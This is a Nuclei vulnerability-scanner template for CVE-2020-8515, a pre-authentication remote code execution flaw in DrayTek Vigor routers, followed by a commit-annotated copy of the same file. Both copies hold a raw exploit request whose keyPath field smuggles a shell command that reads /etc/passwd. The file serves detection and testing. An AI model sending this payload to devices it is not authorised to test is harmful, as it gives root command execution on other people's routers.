nuclei-templates/cves/2020/CVE-2020-8515.yaml

id: CVE-2020-8515

info:
  name: DrayTek pre-auth RCE
  author: pikpikcu
  severity: critical
  description: DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta devices allow remote code execution as root (without authentication) via shell metacharacters to the cgi-bin/mainfunction.cgi URI. This issue has been fixed in Vigor3900/2960/300B v1.5.1.
  reference:
    - https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)
    - https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/
  tags: cve,cve2020,rce

requests:
  - raw:
      - |
        POST /cgi-bin/mainfunction.cgi HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: */*
        Connection: close

        action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body

      - type: status
        status:
          - 200
Create CVE-2020-8515 2021-01-28 15:30:20 +00:00			`id: CVE-2020-8515`

			`info:`
			`name: DrayTek pre-auth RCE`
			`author: pikpikcu`
			`severity: critical`
Description 2021-03-24 06:56:49 +00:00			`description: DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta devices allow remote code execution as root (without authentication) via shell metacharacters to the cgi-bin/mainfunction.cgi URI. This issue has been fixed in Vigor3900/2960/300B v1.5.1.`
Removed pipe (\|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84 2021-08-18 11:37:49 +00:00			`reference:`
Description 2021-03-24 06:56:49 +00:00			`- https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)`
			`- https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/`
Added tags to cves :sunglasses: (#813) * Added tags to cves :sunglasses: 2021-02-05 19:44:41 +00:00			`tags: cve,cve2020,rce`
Create CVE-2020-8515 2021-01-28 15:30:20 +00:00
			`requests:`
			`- raw:`
			`- \|`
			`POST /cgi-bin/mainfunction.cgi HTTP/1.1`
			`Host: {{Hostname}}`
			`User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0`
			`Accept: /`
			`Connection: close`

			`action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a`

			`matchers-condition: and`
			`matchers:`
			`- type: regex`
			`regex:`
matcher update to handle edge cases 2021-07-24 21:35:55 +00:00			`- "root:.*:0:0:"`
Create CVE-2020-8515 2021-01-28 15:30:20 +00:00			`part: body`
file name update 2021-01-28 18:53:43 +00:00
			`- type: status`
			`status:`
			`- 200`